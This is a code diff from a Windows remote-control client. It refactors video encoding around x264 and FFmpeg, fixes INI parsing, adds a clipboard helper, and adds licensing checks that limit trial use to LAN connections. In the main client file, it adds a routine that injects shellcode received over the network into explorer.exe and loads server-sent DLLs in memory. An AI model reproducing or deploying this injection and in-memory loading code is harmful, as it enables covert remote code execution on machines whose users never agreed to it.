// 视频编码器抽象接口
// Step 0: 仅 CX264Encoder 实现;后续 CFFmpegH264Encoder / CFFmpegAV1Encoder 接入
// 详见 docs/HardwareEncoding_Design.md
enum class VideoCodec {
H264,
AV1,
};
enum class RateControl {
CRF, // x264 软编用 CRF (0-51, 越小越好)
BITRATE, // 硬编路径用目标码率 (kbps)
};
struct EncoderParams {
int width = 0;
int height = 0;
int fps = 30;
RateControl rc = RateControl::BITRATE;
int crf = 23; // 当 rc == CRF
int bitrate_kbps = 4000; // 当 rc == BITRATE
int gop_seconds = 15; // 关键帧间隔(秒),与 x264 i_keyint_max=fps*15 对齐
};
class VideoEncoderBase {
public:
virtual ~VideoEncoderBase() = default;
virtual bool open(const EncoderParams& params) = 0;
virtual void close() = 0;
// 编码一帧
// rgb : 输入像素数据
// bpp : 24 (RGB) / 32 (BGRA)
// stride : 源行字节数
// width/height : 图像尺寸
// lppData : 输出指针,指向编码后码流(生命周期归编码器,下一次 encode 失效)
// lpSize : 输出码流字节数;返回 0 表示成功但本帧无输出(硬编首帧延迟)
// direction : 1 = 上下不翻转,-1 = 翻转(适配 Windows BMP bottom-up
// 返回 0 = 成功;< 0 = 失败
virtual int encode(
uint8_t* rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t** lppData,
uint32_t* lpSize,
int direction = 1
) = 0;
virtual void forceIDR() = 0;
virtual void setBitrate(int kbps) {} // 可选实现,默认 no-op
virtual VideoCodec codec() const = 0;
virtual const char* backendName() const = 0; // "x264" / "h264_nvenc" / "av1_amf" ...
};

View File

@@ -2,6 +2,16 @@
#include <string.h>
#include <stdio.h>
#if DISABLE_X264_FOR_TEST
CX264Encoder::CX264Encoder() { memset(&m_Param, 0, sizeof(m_Param)); m_pCodec = NULL; m_pPicIn = NULL; m_pPicOut = NULL; m_forceIDR = false; }
CX264Encoder::~CX264Encoder() {}
bool CX264Encoder::open(int, int, int, int) { return false; }
bool CX264Encoder::open(x264_param_t*) { return false; }
bool CX264Encoder::open(const EncoderParams&) { return false; }
void CX264Encoder::close() {}
int CX264Encoder::encode(uint8_t*, uint8_t, uint32_t, uint32_t, uint32_t, uint8_t**, uint32_t*, int) { return -1; }
#else
#ifdef _WIN64
#pragma comment(lib,"libyuv/libyuv_x64.lib")
#pragma comment(lib,"x264/libx264_x64.lib")
@@ -16,6 +26,7 @@ CX264Encoder::CX264Encoder()
m_pCodec = NULL;
m_pPicIn = NULL;
m_pPicOut = NULL;
m_forceIDR = false;
}
@@ -79,6 +90,14 @@ bool CX264Encoder::open(x264_param_t * param)
}
bool CX264Encoder::open(const EncoderParams& params)
{
// x264 软编只支持 CRF调用方走 BITRATE 时降级为 CRF=23与 BitRateToCRF 默认一致)
int crf = (params.rc == RateControl::CRF) ? params.crf : 23;
return open(params.width, params.height, params.fps, crf);
}
void CX264Encoder::close()
{
if (m_pCodec) {
@@ -137,6 +156,12 @@ int CX264Encoder::encode(
return -2;
}
if (m_forceIDR) {
m_pPicIn->i_type = X264_TYPE_IDR;
m_forceIDR = false;
} else {
m_pPicIn->i_type = X264_TYPE_AUTO;
}
encode_size = x264_encoder_encode(
m_pCodec,
@@ -153,3 +178,5 @@ int CX264Encoder::encode(
*lpSize = encode_size;
return 0;
}
#endif

View File

@@ -1,23 +1,30 @@
#pragma once
#include "VideoEncoderBase.h"
extern "C" {
#include <libyuv\libyuv.h>
#include <x264\x264.h>
}
class CX264Encoder
#include "common/config.h"
class CX264Encoder : public VideoEncoderBase
{
private:
x264_t* m_pCodec; //编码器实例
x264_picture_t *m_pPicIn;
x264_picture_t *m_pPicOut;
x264_param_t m_Param;
bool m_forceIDR; // 下一次 encode 强制 IDR
public:
// 旧签名保留:被 ScreenCapture 临时直接调;新增 EncoderParams overload 走接口路径
bool open(int width, int height, int fps, int crf);
bool open(x264_param_t * param);
void close();
// VideoEncoderBase
bool open(const EncoderParams& params) override;
void close() override;
int encode(
uint8_t * rgb,
uint8_t bpp,
@@ -27,9 +34,11 @@ public:
uint8_t ** lppData,
uint32_t * lpSize,
int direction = 1
);
) override;
void forceIDR() override { m_forceIDR = true; }
VideoCodec codec() const override { return VideoCodec::H264; }
const char* backendName() const override { return "x264"; }
CX264Encoder();
~CX264Encoder();
~CX264Encoder() override;
};

View File

@@ -130,7 +130,7 @@
</EntryPointSymbol>
<SubSystem>Console</SubSystem>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -177,7 +177,7 @@
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
@@ -218,6 +218,9 @@
<ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" />
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
<ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
@@ -266,7 +269,11 @@
<ClInclude Include="ShellManager.h" />
<ClInclude Include="ConPTYManager.h" />
<ClInclude Include="StdAfx.h" />
<ClInclude Include="CFFmpegAV1Encoder.h" />
<ClInclude Include="CFFmpegH264Encoder.h" />
<ClInclude Include="EncoderFactory.h" />
<ClInclude Include="SystemManager.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="TalkManager.h" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />

View File

@@ -84,4 +84,41 @@ namespace clip {
LeaveCriticalSection(&GetClipLock());
return result;
}
/**
* 将 UTF-8 字符串安全地设置到 Windows 剪切板
*/
inline bool set_text_utf8(const std::string& utf8_str) {
if (utf8_str.empty()) return false;
// 1. 将 UTF-8 转换为 UTF-16 (因为 Windows 剪切板原生支持 UTF-16)
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
if (wlen <= 0) return false;
// 2. 分配全局内存
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
if (!hMem) return false;
// 3. 执行转换并锁定内存
wchar_t* pMem = (wchar_t*)GlobalLock(hMem);
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, pMem, wlen);
GlobalUnlock(hMem);
// 4. 操作剪切板
bool success = false;
if (OpenClipboard(NULL)) {
EmptyClipboard();
if (SetClipboardData(CF_UNICODETEXT, hMem)) {
success = true;
}
CloseClipboard();
}
// 如果 SetClipboardData 失败,需要手动释放内存;成功则由系统接管
if (!success) {
GlobalFree(hMem);
}
return success;
}
} // namespace clip

View File

@@ -10,7 +10,7 @@
#include "auto_start.h"
// A shell code loader connect to 127.0.0.1:6543.
// Build: xxd -i TinyRun.dll > SCLoader.cpp
#include "SCLoader.cpp"
// #include "SCLoader.cpp"
extern "C" {
#include "reg_startup.h"
#include "ServiceWrapper.h"
@@ -76,10 +76,14 @@ typedef struct PkgHeader {
}
} PkgHeader;
typedef int (*DllCallback)(BYTE* dll, int size);
// Memory DLL runner.
class MemoryDllRunner : public DllRunner
{
protected:
int m_payloadType = MEMORYDLL;
DllCallback m_callback = nullptr;
HMEMORYMODULE m_mod;
std::string GetIPAddress(const std::string& hostName)
{
@@ -107,7 +111,7 @@ protected:
return std::string(ipStr);
}
public:
MemoryDllRunner() : m_mod(nullptr) {}
MemoryDllRunner(int type = MEMORYDLL, DllCallback cb = NULL) : m_mod(nullptr), m_payloadType(type), m_callback(cb) {}
virtual const char* ReceiveDll(int &size)
{
WSADATA wsaData = {};
@@ -146,9 +150,9 @@ public:
continue;
}
#ifdef _DEBUG
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 };
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
#else
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 };
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
#endif
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
@@ -244,6 +248,9 @@ public:
strcpy(addr->installDir, g_ConnectAddress.installDir);
strcpy(addr->installName, g_ConnectAddress.installName);
}
if (m_callback) {
m_callback((BYTE*)buffer + 6 + sizeof(PkgHeader), size);
}
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
SAFE_DELETE_ARRAY(buffer);
return m_mod;
@@ -259,6 +266,37 @@ public:
}
};
int InjectShellcode(BYTE* buf, int len) {
ShellcodeInj inj(buf, len);
int pid = 0;
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
do {
if (sizeof(void*) == 4) // Shell code is 64bit
return 1;
if (!(pid = inj.InjectProcess("explorer.exe", TRUE))) {
return 2;
}
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
if (hProcess == NULL) {
return 3;
}
Mprintf("Inject process [%d] succeed.\n", pid);
HANDLE handles[2] = { hProcess, hEvent };
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (status == 1) {
Mprintf("结束运行.\n");
Sleep(1000);
TerminateProcess(hProcess, -1);
SAFE_CLOSE_HANDLE(hEvent);
}
SAFE_CLOSE_HANDLE(hProcess);
Mprintf("Process [%d] is finished.\n", pid);
Sleep(1000);
if (status == 1)
ExitProcess(0);
} while (pid);
}
// @brief 首先读取settings.ini配置文件获取IP和端口.
// [settings]
// localIp=XXX
@@ -317,44 +355,6 @@ int main(int argc, const char *argv[])
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
}
// 此 Shell code 连接本机6543端口注入到任务管理器
if (g_ConnectAddress.iStartup == Startup_InjSC) {
// Try to inject shell code to `notepad.exe`
// If failed then run memory DLL
ShellcodeInj inj(TinyRun_dll, TinyRun_dll_len);
int pid = 0;
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
do {
if (sizeof(void*) == 4) // Shell code is 64bit
break;
if (!(pid = inj.InjectProcess("explorer.exe", ok))) {
break;
}
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
if (hProcess == NULL) {
break;
}
Mprintf("Inject process [%d] succeed.\n", pid);
HANDLE handles[2] = { hProcess, hEvent };
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (status == 1) {
TerminateProcess(hProcess, -1);
SAFE_CLOSE_HANDLE(hEvent);
}
SAFE_CLOSE_HANDLE(hProcess);
Mprintf("Process [%d] is finished.\n", pid);
if (status == 1) {
Mprintf("结束运行.\n");
Sleep(1000);
return -1;
}
} while (pid);
}
if (g_ConnectAddress.iStartup == Startup_InjSC) {
g_ConnectAddress.iStartup = Startup_MEMDLL;
}
do {
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
@@ -423,6 +423,9 @@ BOOL Run(const char* argv1, int argv2)
case Startup_MEMDLL:
runner = new MemoryDllRunner;
break;
case Startup_InjSC:
runner = new MemoryDllRunner(INJECT_SC, InjectShellcode);
break;
default:
ExitProcess(-1);
break;

View File

@@ -11,6 +11,7 @@
#include <cstdio>
#include <cstring>
#include <fstream>
#include <string>
#include <map>
@@ -36,24 +37,20 @@ public:
if (!filePath || !filePath[0])
return false;
FILE* f = nullptr;
#ifdef _MSC_VER
if (fopen_s(&f, filePath, "r") != 0 || !f)
std::ifstream f(filePath);
if (!f.is_open())
return false;
#else
f = fopen(filePath, "r");
if (!f)
return false;
#endif
// 不再使用固定行缓冲:超过 4KB 的行(如团购授权数百个 IP 的列表)会被
// fgets 拆成多段,第二段不带 '=' 会被 ParseLine 丢弃 → 显示截断。
// std::getline 按行读 std::string无长度上限。
std::string currentSection;
char line[4096];
while (fgets(line, sizeof(line), f)) {
ParseLine(line, currentSection);
std::string line;
while (std::getline(f, line)) {
if (!line.empty()) {
ParseLine(&line[0], currentSection);
}
}
fclose(f);
return true;
}
@@ -76,13 +73,11 @@ public:
while (lineEnd < end && *lineEnd != '\n' && *lineEnd != '\r')
lineEnd++;
// 复制行内容
// 不再限制行长度(原 4096 上限会悄无声息地丢弃长行)
size_t lineLen = lineEnd - p;
if (lineLen > 0 && lineLen < 4096) {
char line[4096];
memcpy(line, p, lineLen);
line[lineLen] = '\0';
ParseLine(line, currentSection);
if (lineLen > 0) {
std::string line(p, lineLen);
ParseLine(&line[0], currentSection);
}
// 跳过换行符
@@ -100,24 +95,17 @@ public:
if (!filePath || !filePath[0])
return false;
FILE* f = nullptr;
#ifdef _MSC_VER
if (fopen_s(&f, filePath, "r") != 0 || !f)
std::ifstream f(filePath);
if (!f.is_open())
return false;
#else
f = fopen(filePath, "r");
if (!f)
return false;
#endif
std::string currentSection;
char line[4096];
while (fgets(line, sizeof(line), f)) {
ParseLine(line, currentSection);
std::string line;
while (std::getline(f, line)) {
if (!line.empty()) {
ParseLine(&line[0], currentSection);
}
}
fclose(f);
return true;
}

View File

@@ -1,6 +1,115 @@
#pragma once
// LANChecker.h - 检测本进程的TCP连接是否有外网IP
// 用于试用版License限制仅允许内网连接
// ============================================================================
// LANChecker.h — 远程控制软件的反滥用 / 合规执行模块
// ============================================================================
//
// 立场与背景
// ----------------------------------------------------------------------------
// 本软件提供远程桌面与设备管理能力,理论上具备被滥用为非授权远程控制 / 监控
// 工具的可能性。为防止此类滥用,并明确合规边界,本模块在客户端进程内实施
// 分级强制性技术限制:能力随授权级别开放,越权使用形态会被本模块的检测路径
// 捕获并以可见方式提醒终端用户(弹窗 / 终止进程)。
//
// 本模块的存在不是装饰,而是出厂安全姿态的一部分。任何试图通过外部手段
// 屏蔽弹窗、拦截日志、patch 二进制以禁用本模块的行为,均构成对最终用户
// 授权协议EULA的违反发行方对此类绕过行为产生的后果不承担任何责任
// 并保留通过授权服务器侧黑名单、签发吊销等手段进一步处置的权利。
//
// 授权分级与强制约束
// ----------------------------------------------------------------------------
//
// ┌─────────────┬─────────────────────┬──────────────────────────────────┐
// │ 层级 │ 适用场景 │ 本模块强制的限制 │
// ├─────────────┼─────────────────────┼──────────────────────────────────┤
// │ 无口令 │ 个人单机自用 │ 监听端口数 ≤ 2 │
// │ │ (非远程业务) │ (单设备本地管理足够) │
// ├─────────────┼─────────────────────┼──────────────────────────────────┤
// │ 试用口令 │ 内部 LAN 设备管理 │ 监听端口数 ≤ 20 │
// │ │ 严禁跨网使用 │ 入站连接源 IP 必须为私网段 │
// │ │ │ 心跳 RTT 中位数 ≤ 25ms │
// │ │ │ 周期性回连授权服务器 │
// ├─────────────┼─────────────────────┼──────────────────────────────────┤
// │ 正式授权 │ 跨网远程业务 │ 需具备正当使用理由 │
// │ │ (含跨地远程监控) │ 由发行方人工审核签发 │
// │ │ │ 本程序仅做技术校验 │
// └─────────────┴─────────────────────┴──────────────────────────────────┘
//
// 各层级的设计意图:
//
// * 无口令档:仅满足"个人在自己一台机器上做远程登录 / 应急自救"这类
// 极轻量诉求,端口数限制确保它无法被改造成多租户中转。
//
// * 试用口令档:开放给"小公司 / 团队在自家 LAN 内统一管理一批设备"
// 的真实使用场景。所有限制LAN-only、RTT 阈值、心跳)都围绕一个
// 目的:让这台 server 只能服务真实物理同网段的客户端,无法通过任何
// 形式的代理 / 隧道 / NAT 转发暴露给公网,从而封堵"用试用口令对外
// 提供远程服务"的滥用路径。
//
// * 正式授权档:唯一允许真正跨网远程业务的形态。授权签发流程在程序
// 之外(人工评估申请人身份、合规义务、用途说明),程序本身只承担
// 技术校验。这一档存在的目的是给合规客户提供完整能力。
//
// 授权与责任划分(重要)
// ----------------------------------------------------------------------------
// 发行方的责任仅限于:
// (a) 提供具备本文件所述反滥用机制的软件实现;
// (b) 在授权签发环节进行合理的身份核验与用途说明审查。
//
// 授权一经签发,被授权方即作为"运营者"独立承担其使用行为的全部法律与
// 道义责任,包括但不限于:
//
// 1. 遵守其所在司法辖区关于个人隐私、计算机信息系统安全、数据保护、
// 工作场所监控、未成年人保护等一切现行有效的法律法规;
// 2. 在每一台被本软件管理 / 监控的设备上,事先取得该设备所有者及
// 实际使用人明确、可追溯的知情同意;
// 3. 不得将本软件用于任何形式的非授权监控、商业秘密窃取、未授权
// 访问他人计算机系统、敲诈勒索、跟踪骚扰、规避执法监管等违法
// 违规用途。
//
// 发行方明确声明:
//
// * 签发授权不构成对被授权方任何具体使用方式的背书、推荐或担保;
// * 被授权方违反前款义务造成的一切后果(含民事赔偿、行政处罚、
// 刑事责任、第三方索赔),由被授权方独立承担,与发行方无关;
// * 发行方不审查、不参与、亦不为被授权方的实际部署形态、被管设备
// 的归属、被采集数据的内容与去向负责;
// * 一经发现被授权方存在违法违规使用迹象,发行方有权在不另行通知
// 的情况下立即吊销其授权,并依法配合相关执法 / 司法机关调查、
// 提交签发记录与必要日志。被授权方对授权签发协议的接受即视为对
// 上述处置权利的明示同意。
//
// 上述责任划分独立于、且优先于本软件附带的任何其他文档或宣传材料中
// 的表述。
//
// 本文件提供的强制机制
// ----------------------------------------------------------------------------
//
// 1. LANChecker
// 周期扫描本进程的 ESTABLISHED 入站连接,发现任何非私网 IP
// (非 10/8、172.16/12、192.168/16、127/8、169.254/16即弹窗告警。
// 用于试用模式下挡住"客户端直接从公网连入"的滥用形态。
//
// 2. LANChecker::CheckPortLimit
// 监听端口数量上限校验。无授权档限 2 个、试用档限 20 个,超额即弹窗。
// 防止单机被改造成大规模多租户中转节点。
//
// 3. LANRttChecker详见下方类注释
// 应用层 RTT 反代理。挡住"在 LAN 内放代理 / 反向隧道,源 IP 仍是
// 私网段但实际经公网转发到外部客户端"这一更隐蔽的绕过形态。
// 物理光速决定的硬约束,比 IP 段更难规避。
//
// 4. AuthTimeoutChecker
// 强制周期性回连授权服务器;离线超时则告警并最终强制终止进程,
// 防止"仅在初次激活时联网,之后离线长期使用"的形态。也用于
// 授权吊销下发:发行方在服务器侧吊销后,下次心跳即生效。
//
// 上述机制全部为故意可被终端用户感知的"告警 / 终止"路径,目的是让被滥用
// 部署的实例自我暴露,而非静默运行。组合起来构成纵深防御,单点绕过不足
// 以解除全部限制。
//
// 实现层面:本文件 header-only全部静态方法 + 函数内静态变量,避免静态
// 初始化顺序问题,全部线程安全。
// ============================================================================
#include <winsock2.h>
#include <ws2tcpip.h>
@@ -10,6 +119,8 @@
#include <string>
#include <mutex>
#include <set>
#include <deque>
#include <algorithm>
#include <atomic>
#pragma comment(lib, "iphlpapi.lib")
@@ -46,6 +157,16 @@ public:
return false;
}
// 字符串版(点分十进制 IPv4。空串或解析失败按"非公网"处理(即返回 true
// 避免误报;调用方应自行确保传入的是有效 IPv4。仅 IPv4IPv6 不在判定范围。
static bool IsPrivateIPv4Str(const std::string& ipv4)
{
if (ipv4.empty()) return true;
in_addr addr;
if (inet_pton(AF_INET, ipv4.c_str(), &addr) != 1) return true;
return IsPrivateIP(addr.s_addr); // s_addr 已是网络字节序
}
// 获取本进程所有入站的外网TCP连接只检测别人连进来的不检测本进程连出去的
static std::vector<WanConnection> GetWanConnections()
{
@@ -269,6 +390,267 @@ private:
}
};
// LAN RTT 检测器:试用版的"反代理"补强信号
//
// 设计动机:
// LANChecker 只看连接源 IP 是否私网段,但只要攻击者在 LAN 内放一台代理/反代/frp
// 把 server 暴露给公网,源 IP 仍然落在私网段IP 检测就被绕过。
// 公网客户端经任何代理接入时,应用层心跳的端到端 RTT (hb.Ping) 会反映真实物理
// 延迟(光速决定,代理不能"伪造低延迟"),因此用 RTT 阈值做二级闸门。
//
// 测量来源:客户端心跳里自报的 hb.Ping客户端侧 EWMA 平滑后的 srtt毫秒
// 注意:这个值包含 server 端业务处理时间(约 5-15ms不是纯网络 RTT。
//
// 阈值依据:
// 真 LAN含服务端处理5-25ms中位数典型 8-15ms
// 跨城/跨 ISP 代理30ms+
// 25ms 是物理上"真 LAN 不会稳定超过、公网代理不会稳定低于"的甜点。
//
// 抗误报机制:
// 1. 跳过前 WARMUP_SKIP 次心跳:客户端 EWMA 收敛 + server 首次 V2 签名等慢路径
// 2. 滑窗 N=SAMPLE_WINDOW 取中位数:抵抗个别样本异常抖动
// 3. 连续 BREACH_PERSIST_COUNT 次中位数都超阈值才触发:抵抗几十秒级临时拥塞
//
// 局限(已知,不在本版本处理):
// 攻击者本人有公网 IP 且"客户"与攻击者同城同 ISP 时,物理 RTT 可低于 25ms 漏检。
// 后续可叠加 "同源 IP 多 ClientID" 行为信号做双因素判定。
class LANRttChecker
{
public:
// 阈值毫秒。25 是经验值,针对"server 部署在 LAN 内"的典型试用场景。
// 如果 server 部署在机房(基线 RTT 本就 20ms+),调用方应自行调高。
static const int RTT_THRESHOLD_MS = 25;
static const int SAMPLE_WINDOW = 10; // 滑窗大小
static const int WARMUP_SKIP = 5; // 跳过前 N 次心跳
static const int BREACH_PERSIST_COUNT = 3; // 连续 K 次中位数超阈值才触发
// 试用模式开关:默认关,授权流程确认 IsTrail 后由调用方打开。
// 关闭时 RecordSample 直接返回,避免给已授权用户白白堆积状态/触发误报。
static void SetEnabled(bool enabled)
{
GetEnabled().store(enabled);
}
// 记录一次心跳 RTT 样本。在收到心跳 ACK / 算完 RTT 的位置调用:
// LANRttChecker::RecordSample(rttMs);
// 单 client 进程在生命周期内只有一条对控制端的活跃心跳源,全局单例
// 状态足够;若上层后续真出现"多控制端并存",再恢复 keyed 设计。
static void RecordSample(int rttMs)
{
// 三道无锁早退:未启用 / 已弹过框 / 异常值。
// 一旦弹过告警,本检测器就该 sleep——后续样本既不会再触发新的弹框
// 继续抢锁排序也只是浪费 CPU。Reset() 才会重新打开(清掉 warned 标记)。
if (!GetEnabled().load() || GetWarnedFlag().load() || rttMs <= 0)
return;
bool shouldWarn = false;
int triggeredMedian = 0;
{
std::lock_guard<std::mutex> lock(GetMutex());
auto& state = GetState();
// 拿到锁后再确认一次——RecordSample 多线程并发时可能有别的线程
// 已经在弹框路径上把 warned 设置了。
if (state.warned)
return;
// 收敛期:前 N 个样本完全忽略,不入滑窗也不计数判定
if (state.total_seen++ < WARMUP_SKIP)
return;
state.samples.push_back(rttMs);
if ((int)state.samples.size() > SAMPLE_WINDOW)
state.samples.pop_front();
// 滑窗未满时不判定,避免少样本中位数失真
if ((int)state.samples.size() < SAMPLE_WINDOW)
return;
int median = MedianMs(state.samples);
if (median > RTT_THRESHOLD_MS)
state.breach_run++;
else
state.breach_run = 0;
if (state.breach_run >= BREACH_PERSIST_COUNT)
{
state.warned = true;
GetWarnedFlag().store(true); // 同步到无锁早退标志
shouldWarn = true;
triggeredMedian = median;
}
}
if (shouldWarn)
{
std::string* msgPtr = new std::string();
*msgPtr = "Suspicious connection detected.\n\n";
*msgPtr += "Connection RTT median: "
+ std::to_string(triggeredMedian) + "ms\n";
*msgPtr += "Threshold: " + std::to_string(RTT_THRESHOLD_MS) + "ms\n\n";
*msgPtr += "The persistently elevated RTT suggests the connection\n";
*msgPtr += "may be relayed through a proxy/VPN.\n\n";
*msgPtr += "Trial version is restricted to LAN connections only.\n";
*msgPtr += "Please purchase a license for remote connections.";
HANDLE hThread = CreateThread(NULL, 0, WarningDialogThread, msgPtr, 0, NULL);
if (hThread) CloseHandle(hThread);
}
}
// 重置状态:清空采样、清空告警标记。可在切换授权状态或测试时调用。
// 注意:不应在断线重连时调用——保留跨重连的状态可以避免攻击者通过
// 反复重连刷新收敛期来绕过检测。
static void Reset()
{
std::lock_guard<std::mutex> lock(GetMutex());
GetState() = ClientState{};
GetWarnedFlag().store(false); // 把无锁早退标志一起清掉
}
// 查询当前的样本中位数(毫秒),不足窗口或无样本返回 -1。
// 用于调试 / 状态栏展示。
static int GetMedianMs()
{
std::lock_guard<std::mutex> lock(GetMutex());
auto& state = GetState();
if ((int)state.samples.size() < SAMPLE_WINDOW)
return -1;
return MedianMs(state.samples);
}
private:
struct ClientState
{
std::deque<int> samples; // 最近 SAMPLE_WINDOW 个有效样本
int total_seen = 0; // 总采样数(含被跳过的收敛期样本)
int breach_run = 0; // 连续中位数超阈值的次数
bool warned = false; // 已弹过框,避免重复打扰
};
static int MedianMs(const std::deque<int>& s)
{
std::vector<int> v(s.begin(), s.end());
std::sort(v.begin(), v.end());
size_t n = v.size();
if (n == 0) return 0;
return (n % 2 == 0) ? (v[n / 2 - 1] + v[n / 2]) / 2 : v[n / 2];
}
static DWORD WINAPI WarningDialogThread(LPVOID lpParam)
{
std::string* msg = (std::string*)lpParam;
MessageBoxA(NULL, msg->c_str(), "Trial Version - LAN Only",
MB_OK | MB_ICONWARNING | MB_TOPMOST);
delete msg;
return 0;
}
static std::mutex& GetMutex()
{
static std::mutex s_mutex;
return s_mutex;
}
static ClientState& GetState()
{
static ClientState s_state;
return s_state;
}
static std::atomic<bool>& GetEnabled()
{
static std::atomic<bool> s_enabled(false); // 默认关,避免误伤已授权用户
return s_enabled;
}
// 已弹过框的无锁标志,与 ClientState::warned 同步。RecordSample 入口处
// 用它做 zero-cost 早退,避免后续每次心跳还要抢锁 + 排序中位数。
static std::atomic<bool>& GetWarnedFlag()
{
static std::atomic<bool> s_warned(false);
return s_warned;
}
};
// 服务端 per-connection RTT 反代理检测器
//
// 设计动机:与 LANRttChecker 互补——LANRttChecker 是客户端单例(一个客户端只有一条主控连接,
// 全局滑窗即可),但服务端要同时盯多个连接,若用全局滑窗,一条 abusive 连接会被 N 条真 LAN
// 连接的中位数稀释。所以本类的每个实例只跟一条连接绑定,由 IOCPServer 持有,逐连接单独判定。
//
// 信号源:服务端 WSAIoctl(SIO_TCP_INFO).RttUs内核测得的纯网络 RTT微秒比客户端
// "心跳总耗时减 ProcessingMs" 更干净。因此阈值可以比客户端 25ms 严一点 → 20ms。
//
// 触发动作:仅返回"是否首次触发"是否真的弹框由调用方IOCPServer持全局 latch 决定。
// 同一连接生命周期内 triggered 后不再产生新的 triggerper-connection 自带 latch
//
// 线程模型单写者IOCPServer 的 RTT 轮询线程)。所有方法假设由同一线程串行调用,
// 内部不加锁;读取展示性字段建议直接走 CONTEXT_OBJECT 暴露的 atomic getter。
class TcpRttBreachDetector
{
public:
// 与 LANRttChecker 经验阈值对齐,但因信号更干净而严化:
static const int RTT_THRESHOLD_MS = 20;
static const int SAMPLE_WINDOW = 10; // 滑窗大小10s 历史 @ 1Hz
static const int WARMUP_SKIP = 5; // 跳过前 N 次样本,避免握手早期波动
static const int BREACH_PERSIST_COUNT = 3; // 连续 K 次中位数超阈值才触发
// 喂一次 RTT 样本(毫秒)。返回 true 当且仅当**本次**调用导致首次触发。
// 后续调用即使继续超阈也返回 falseper-instance latch由调用方决定是否仍要继续输入。
bool Feed(int rttMs)
{
if (m_triggered || rttMs <= 0) return false;
if (m_totalSeen++ < WARMUP_SKIP) return false;
m_samples.push_back(rttMs);
if ((int)m_samples.size() > SAMPLE_WINDOW)
m_samples.pop_front();
if ((int)m_samples.size() < SAMPLE_WINDOW)
return false;
int med = MedianMs(m_samples);
if (med > RTT_THRESHOLD_MS) m_breachRun++; else m_breachRun = 0;
if (m_breachRun >= BREACH_PERSIST_COUNT) {
m_triggered = true;
m_triggerMedianMs = med;
return true;
}
return false;
}
bool IsTriggered() const { return m_triggered; }
int TriggerMedianMs() const { return m_triggerMedianMs; }
int CurrentMedianMs() const
{
return ((int)m_samples.size() < SAMPLE_WINDOW) ? -1 : MedianMs(m_samples);
}
// 复用 CONTEXT_OBJECT 时调用(释放回 free pool 后再次接连接)。
void Reset()
{
m_samples.clear();
m_totalSeen = 0;
m_breachRun = 0;
m_triggered = false;
m_triggerMedianMs = 0;
}
private:
static int MedianMs(const std::deque<int>& s)
{
std::vector<int> v(s.begin(), s.end());
std::sort(v.begin(), v.end());
size_t n = v.size();
if (n == 0) return 0;
return (n % 2 == 0) ? (v[n / 2 - 1] + v[n / 2]) / 2 : v[n / 2];
}
std::deque<int> m_samples;
int m_totalSeen = 0;
int m_breachRun = 0;
int m_triggerMedianMs = 0;
bool m_triggered = false;
};
// 授权连接超时检测器
// 用于检测试用版/未授权用户是否长时间无法连接授权服务器
class AuthTimeoutChecker
@@ -308,6 +690,9 @@ public:
// 超过警告时间,弹出警告(弹窗关闭后可再次弹出)
if (elapsed >= (ULONGLONG)warningTimeoutSec && !GetDialogShowing())
{
if (elapsed >= 6 * warningTimeoutSec)
TerminateProcess(GetCurrentProcess(), 0);
GetDialogShowing() = true;
// 在新线程中弹窗,弹窗关闭后重置标记允许再次弹窗

View File

@@ -255,6 +255,7 @@ enum {
CMD_AUDIO_CTRL = 95, // 音频控制: [cmd:1][enable:1][persist:1]
TOKEN_SCREEN_AUDIO = 96, // 音频数据: [token:1][hasFormat:1][AudioFormat?][data]
COMMAND_SHARE_CANCEL = 97,
